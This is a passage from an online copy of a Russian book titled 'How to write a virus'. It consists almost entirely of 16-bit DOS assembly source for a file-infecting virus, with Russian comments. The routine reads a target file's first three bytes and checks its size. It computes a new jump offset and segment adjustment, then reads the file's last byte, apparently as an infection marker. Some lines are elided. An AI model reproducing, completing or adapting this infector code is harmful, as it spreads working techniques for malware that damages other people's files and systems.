"Игорь Коваль. Как написать вирус" - читать интересную книгу автораsave_bytes: ;Считаем первые mov bx,ax ;три байта mov ah,3fh mov cx,3 lea dx,old_bytes int 21h jnc cs:found_size jmp cs:close found_size:mov di,bp cmp word ptr es:[di+01ch],0 jne cs:more_64K ;Найдем его раз- mov ax,es:[di+01ah] ;мер ... count_size:mov si,ax ;Вычислим ;смещения ... cmp ax,64000 jna cs:smallest more_64K: jmp cs:find_next smallest: test ax,000fh jz cs:krat_16 or ax,000fh inc ax krat_16: mov di,ax mov byte ptr new_bytes[1],al mov byte ptr new_bytes[2],ah mov ax,di mov cl,4 shr ax,cl dec ax mov byte ptr add_to_ds,al mov byte ptr add_to_ds+1,ah mov ax,4200h ;Считаем послед- xor cx,cx ;ний байт ... dec si mov dx,si int 21h jnc cs:read_last jmp cs:close read_last: mov ah,3fh mov cx,1 lea dx,last int 21h jc cs:close |
|
|